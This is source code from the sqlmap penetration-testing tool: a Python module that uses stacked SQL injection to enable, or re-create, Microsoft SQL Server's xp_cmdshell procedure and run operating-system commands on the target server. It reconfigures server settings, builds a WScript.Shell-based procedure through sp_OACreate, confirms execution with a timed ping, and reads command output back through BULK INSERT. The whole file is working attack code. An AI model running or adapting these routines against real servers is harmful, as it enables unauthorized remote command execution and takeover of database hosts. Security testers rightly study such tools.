#!/usr/bin/env python """ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright (c) 2007-2009 Bernardo Damele A. G. Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ from lib.core.common import randomStr from lib.core.common import readInput from lib.core.convert import urlencode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import sqlmapUnsupportedFeatureException from lib.request import inject from lib.techniques.blind.timebased import timeUse class xp_cmdshell: """ This class defines methods to deal with Microsoft SQL Server xp_cmdshell extended procedure for plugins. """ def __init__(self): self.xpCmdshellStr = "master..xp_cmdshell" def __xpCmdshellCreate(self): cmd = "" if kb.dbmsVersion[0] in ( "2005", "2008" ): logger.debug("activating sp_OACreate") cmd += "EXEC master..sp_configure 'show advanced options', 1; " cmd += "RECONFIGURE WITH OVERRIDE; " cmd += "EXEC master..sp_configure 'ole automation procedures', 1; " cmd += "RECONFIGURE WITH OVERRIDE; " self.xpCmdshellExecCmd(cmd) self.__randStr = randomStr(lowercase=True) cmd += "declare @%s nvarchar(999); " % self.__randStr cmd += "set @%s='" % self.__randStr cmd += "CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int " cmd += "EXEC sp_OACreate ''WScript.Shell'', @ID OUT " cmd += "EXEC sp_OAMethod @ID, ''Run'', Null, @cmd, 0, 1 " cmd += "EXEC sp_OADestroy @ID'; " cmd += "EXEC master..sp_executesql @%s;" % self.__randStr if kb.dbmsVersion[0] in ( "2005", "2008" ): cmd += " RECONFIGURE WITH OVERRIDE;" self.xpCmdshellExecCmd(cmd) def __xpCmdshellConfigure2005(self, mode): debugMsg = "configuring xp_cmdshell using sp_configure " debugMsg += "stored procedure" logger.debug(debugMsg) cmd = "EXEC master..sp_configure 'show advanced options', 1; " cmd += "RECONFIGURE WITH OVERRIDE; " cmd += "EXEC master..sp_configure 'xp_cmdshell', %d " % mode cmd += "RECONFIGURE WITH OVERRIDE; " cmd += "EXEC sp_configure 'show advanced options', 0" return cmd def __xpCmdshellConfigure2000(self, mode): debugMsg = "configuring xp_cmdshell using sp_addextendedproc " debugMsg += "stored procedure" logger.debug(debugMsg) if mode == 1: cmd = "EXEC master..sp_addextendedproc 'xp_cmdshell', " cmd += "@dllname='xplog70.dll'" else: cmd = "EXEC master..sp_dropextendedproc xp_cmdshell" return cmd def __xpCmdshellConfigure(self, mode): if kb.dbmsVersion[0] in ( "2005", "2008" ): cmd = self.__xpCmdshellConfigure2005(mode) else: cmd = self.__xpCmdshellConfigure2000(mode) self.xpCmdshellExecCmd(cmd) def __xpCmdshellCheck(self): query = self.xpCmdshellForgeCmd("ping -n %d 127.0.0.1" % (conf.timeSec * 2)) duration = timeUse(query) if duration >= conf.timeSec: return True else: return False def xpCmdshellForgeCmd(self, cmd): forgedCmd = "EXEC %s '%s'" % (self.xpCmdshellStr, cmd) forgedCmd = urlencode(forgedCmd, convall=True) return forgedCmd def xpCmdshellExecCmd(self, cmd, silent=False, forgeCmd=False): if forgeCmd: cmd = self.xpCmdshellForgeCmd(cmd) inject.goStacked(cmd, silent) def xpCmdshellEvalCmd(self, cmd, first=None, last=None): self.getRemoteTempPath() tmpFile = "%s/sqlmapevalcmd%s.txt" % (conf.tmpPath, randomStr(lowercase=True)) cmd = self.xpCmdshellForgeCmd("%s > %s" % (cmd, tmpFile)) self.xpCmdshellExecCmd(cmd) inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10))) self.delRemoteFile(tmpFile) output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last) inject.goStacked("DELETE FROM %s" % self.cmdTblName) if isinstance(output, (list, tuple)): output = output[0] if isinstance(output, (list, tuple)): output = output[0] return output def xpCmdshellInit(self): self.__xpCmdshellAvailable = False infoMsg = "checking if xp_cmdshell extended procedure is " infoMsg += "available, wait.." logger.info(infoMsg) result = self.__xpCmdshellCheck() if result: logger.info("xp_cmdshell extended procedure is available") self.__xpCmdshellAvailable = True else: message = "xp_cmdshell extended procedure does not seem to " message += "be available. Do you want sqlmap to try to " message += "re-enable it? [Y/n] " choice = readInput(message, default="Y") if not choice or choice in ("y", "Y"): self.__xpCmdshellConfigure(1) if self.__xpCmdshellCheck(): logger.info("xp_cmdshell re-enabled successfully") self.__xpCmdshellAvailable = True else: logger.warn("xp_cmdshell re-enabling failed") logger.info("creating xp_cmdshell with sp_OACreate") self.__xpCmdshellConfigure(0) self.__xpCmdshellCreate() if self.__xpCmdshellCheck(): logger.info("xp_cmdshell created successfully") self.__xpCmdshellAvailable = True else: warnMsg = "xp_cmdshell creation failed, probably " warnMsg += "because sp_OACreate is disabled" logger.warn(warnMsg) if not self.__xpCmdshellAvailable: errMsg = "unable to proceed without xp_cmdshell" raise sqlmapUnsupportedFeatureException, errMsg debugMsg = "creating a support table to write commands standard " debugMsg += "output to" logger.debug(debugMsg) self.createSupportTbl(self.cmdTblName, self.tblField, "varchar(8000)")